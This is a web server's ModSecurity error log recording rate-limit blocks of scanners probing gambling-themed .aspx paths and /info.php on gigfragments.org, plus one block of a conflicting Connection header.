[Sun Mar 29 23:17:44.282816 2026] [:error] [pid 23284:tid 23307] [client 62.84.185.56:27630] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aclCmIzBujdPHsq7wyTf_gAAApU"]
[Sun Mar 29 23:17:46.989328 2026] [:error] [pid 23137:tid 23149] [client 62.84.185.56:52268] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aclCmhaWQa7LdZ_qGFYI5QAAAYo"]
[Sun Mar 29 23:17:49.580601 2026] [:error] [pid 23284:tid 23299] [client 62.84.185.56:52278] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aclCnYzBujdPHsq7wyTgEAAAAo0"]
[Sun Mar 29 23:17:52.379559 2026] [:error] [pid 23167:tid 23183] [client 62.84.185.56:52292] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aclCoBIAHJCFaHff3_fVxwAAAc0"]
[Sun Mar 29 23:17:54.782724 2026] [:error] [pid 32255:tid 32292] [client 62.84.185.56:52296] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aclComnfn-AtRoMbquwTDwAAAEE"]
[Sun Mar 29 23:18:46.772297 2026] [:error] [pid 8818:tid 8827] [client 62.84.185.56:2614] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aclC1iCDvotZNSF0FBrysAAAAUU"]
[Sun Mar 29 23:18:49.268147 2026] [:error] [pid 32257:tid 32319] [client 62.84.185.56:2628] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aclC2SE3TArOFrUtgWplnAAAAIE"]
[Sun Mar 29 23:18:52.170458 2026] [:error] [pid 32254:tid 32284] [client 62.84.185.56:2636] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aclC3Kug2IHuyGgCTn9lfwAAABQ"]
[Sun Mar 29 23:18:54.982914 2026] [:error] [pid 23250:tid 23259] [client 62.84.185.56:2644] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aclC3pxrpj-dQjy1cvoUfwAAAkc"]
[Sun Mar 29 23:18:57.394593 2026] [:error] [pid 8818:tid 8833] [client 62.84.185.56:5564] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aclC4SCDvotZNSF0FBryxAAAAUs"]
[Sun Mar 29 23:18:59.689943 2026] [:error] [pid 32257:tid 32330] [client 62.84.185.56:5576] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aclC4yE3TArOFrUtgWplwQAAAIw"]
[Sun Mar 29 23:23:23.274305 2026] [:error] [pid 23168:tid 23217] [client 43.153.35.128:53348] [client 43.153.35.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aclD62P8p0yRL8ot_2-7pwAAAhQ"]
[Sun Mar 29 23:45:42.296651 2026] [:error] [pid 32359:tid 32380] [client 40.87.104.188:19046] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aclJJgMb8G3UzfQP3Wg9tQAAANM"]
[Sun Mar 29 23:45:43.128052 2026] [:error] [pid 8818:tid 8824] [client 40.87.104.188:13526] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aclJJyCDvotZNSF0FBr51wAAAUI"]
[Sun Mar 29 23:45:43.986017 2026] [:error] [pid 32255:tid 32303] [client 40.87.104.188:19061] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aclJJ2nfn-AtRoMbquwjGQAAAEw"]
[Sun Mar 29 23:45:44.816207 2026] [:error] [pid 23167:tid 23186] [client 40.87.104.188:14816] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aclJKBIAHJCFaHff3_fdjAAAAdA"]
[Mon Mar 30 00:00:42.025590 2026] [:error] [pid 23284:tid 23287] [client 54.37.84.47:47876] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aclMqozBujdPHsq7wyQFoAAAAoE"]
[Mon Mar 30 00:00:44.089665 2026] [:error] [pid 32255:tid 32312] [client 54.37.84.47:53298] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aclMrGnfn-AtRoMbquwq4QAAAFU"]
[Mon Mar 30 00:00:45.989517 2026] [:error] [pid 23167:tid 23180] [client 54.37.84.47:53314] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aclMrRIAHJCFaHff3_fiiQAAAco"]
[Mon Mar 30 00:00:47.905397 2026] [:error] [pid 32254:tid 32264] [client 54.37.84.47:43186] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aclMr6ug2IHuyGgCTn9qdQAAAAA"]
[Mon Mar 30 00:00:49.842106 2026] [:error] [pid 32255:tid 32301] [client 54.37.84.47:43202] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aclMsWnfn-AtRoMbquwq8AAAAEo"]
[Mon Mar 30 00:00:51.745771 2026] [:error] [pid 32255:tid 32295] [client 54.37.84.47:43206] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aclMs2nfn-AtRoMbquwrAQAAAEQ"]
[Mon Mar 30 00:00:53.639068 2026] [:error] [pid 23168:tid 23218] [client 54.37.84.47:43208] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aclMtWP8p0yRL8ot_2_KvgAAAhU"]
[Mon Mar 30 00:00:55.542003 2026] [:error] [pid 23284:tid 23295] [client 54.37.84.47:43214] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aclMt4zBujdPHsq7wyQF3QAAAok"]
[Mon Mar 30 00:00:57.592875 2026] [:error] [pid 32257:tid 32332] [client 54.37.84.47:53608] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aclMuSE3TArOFrUtgWqBcQAAAI4"]
[Mon Mar 30 00:00:59.490209 2026] [:error] [pid 8818:tid 8835] [client 54.37.84.47:53610] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aclMuyCDvotZNSF0FBr9wgAAAU0"]
[Mon Mar 30 00:01:01.398881 2026] [:error] [pid 23284:tid 23307] [client 54.37.84.47:53616] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aclMvYzBujdPHsq7wyQF7wAAApU"]
[Mon Mar 30 00:01:03.309266 2026] [:error] [pid 8818:tid 8828] [client 54.37.84.47:53628] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aclMvyCDvotZNSF0FBr9xgAAAUY"]
[Mon Mar 30 00:01:05.185767 2026] [:error] [pid 23284:tid 23291] [client 54.37.84.47:53636] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aclMwYzBujdPHsq7wyQGAgAAAoU"]
[Mon Mar 30 00:01:07.226786 2026] [:error] [pid 23284:tid 23287] [client 54.37.84.47:42848] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aclMw4zBujdPHsq7wyQGDAAAAoE"]
[Mon Mar 30 00:01:09.147450 2026] [:error] [pid 32359:tid 32370] [client 54.37.84.47:42862] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aclMxQMb8G3UzfQP3WhAPAAAAMk"]
[Mon Mar 30 00:01:11.054076 2026] [:error] [pid 23168:tid 23200] [client 54.37.84.47:42872] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aclMx2P8p0yRL8ot_2_K1AAAAgM"]
[Mon Mar 30 00:01:12.928007 2026] [:error] [pid 23168:tid 23204] [client 54.37.84.47:42876] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aclMyGP8p0yRL8ot_2_K2QAAAgc"]
[Mon Mar 30 00:01:14.865801 2026] [:error] [pid 23284:tid 23309] [client 54.37.84.47:42892] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aclMyozBujdPHsq7wyQGFwAAApc"]
[Mon Mar 30 00:01:16.778592 2026] [:error] [pid 32255:tid 32303] [client 54.37.84.47:48014] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aclMzGnfn-AtRoMbquwrNgAAAEw"]
[Mon Mar 30 00:01:18.679682 2026] [:error] [pid 32257:tid 32324] [client 54.37.84.47:48024] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aclMziE3TArOFrUtgWqBywAAAIY"]
[Mon Mar 30 00:01:20.598383 2026] [:error] [pid 23167:tid 23175] [client 54.37.84.47:48036] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aclM0BIAHJCFaHff3_fipAAAAcU"]
[Mon Mar 30 00:01:22.672085 2026] [:error] [pid 32359:tid 32379] [client 54.37.84.47:48044] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aclM0gMb8G3UzfQP3WhARgAAANI"]
[Mon Mar 30 00:01:24.740016 2026] [:error] [pid 23167:tid 23178] [client 54.37.84.47:48060] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aclM1BIAHJCFaHff3_fiqQAAAcg"]
[Mon Mar 30 00:01:26.651897 2026] [:error] [pid 23284:tid 23307] [client 54.37.84.47:38226] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aclM1ozBujdPHsq7wyQGPwAAApU"]
[Mon Mar 30 00:01:28.735753 2026] [:error] [pid 32257:tid 32319] [client 54.37.84.47:38228] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aclM2CE3TArOFrUtgWqB4QAAAIE"]
[Mon Mar 30 00:01:30.804939 2026] [:error] [pid 32255:tid 32309] [client 54.37.84.47:38242] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aclM2mnfn-AtRoMbquwrUgAAAFI"]
[Mon Mar 30 00:01:32.686299 2026] [:error] [pid 23168:tid 23198] [client 54.37.84.47:38244] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aclM3GP8p0yRL8ot_2_K8wAAAgE"]
[Mon Mar 30 00:01:34.734326 2026] [:error] [pid 23250:tid 23258] [client 54.37.84.47:38250] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aclM3pxrpj-dQjy1cvoeGQAAAkY"]
[Mon Mar 30 00:01:36.785881 2026] [:error] [pid 23167:tid 23183] [client 54.37.84.47:53938] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aclM4BIAHJCFaHff3_fiuAAAAc0"]
[Mon Mar 30 00:02:13.233672 2026] [:error] [pid 23167:tid 23182] [client 54.37.84.47:53940] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aclNBRIAHJCFaHff3_fi9gAAAcw"]
[Mon Mar 30 00:02:15.070326 2026] [:error] [pid 23168:tid 23202] [client 54.37.84.47:48710] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aclNB2P8p0yRL8ot_2_LLwAAAgU"]
[Mon Mar 30 00:02:17.076148 2026] [:error] [pid 23284:tid 23291] [client 54.37.84.47:39914] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aclNCYzBujdPHsq7wyQHWgAAAoU"]
[Mon Mar 30 00:02:19.112614 2026] [:error] [pid 32255:tid 32305] [client 54.37.84.47:39918] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aclNC2nfn-AtRoMbquwrwQAAAE4"]
[Mon Mar 30 00:02:20.987945 2026] [:error] [pid 23284:tid 23296] [client 54.37.84.47:39924] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aclNDIzBujdPHsq7wyQHbgAAAoo"]
[Mon Mar 30 00:02:23.038839 2026] [:error] [pid 23284:tid 23308] [client 54.37.84.47:39932] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aclND4zBujdPHsq7wyQHfAAAApY"]
[Mon Mar 30 00:02:24.948661 2026] [:error] [pid 23250:tid 23269] [client 54.37.84.47:39942] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aclNEJxrpj-dQjy1cvoeWQAAAlE"]
[Mon Mar 30 00:02:26.822148 2026] [:error] [pid 23284:tid 23302] [client 54.37.84.47:42622] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aclNEozBujdPHsq7wyQHhwAAApA"]
[Mon Mar 30 00:02:28.865574 2026] [:error] [pid 23284:tid 23287] [client 54.37.84.47:42636] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aclNFIzBujdPHsq7wyQHkQAAAoE"]
[Mon Mar 30 00:02:30.905450 2026] [:error] [pid 23250:tid 23265] [client 54.37.84.47:42642] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aclNFpxrpj-dQjy1cvoeXQAAAk0"]
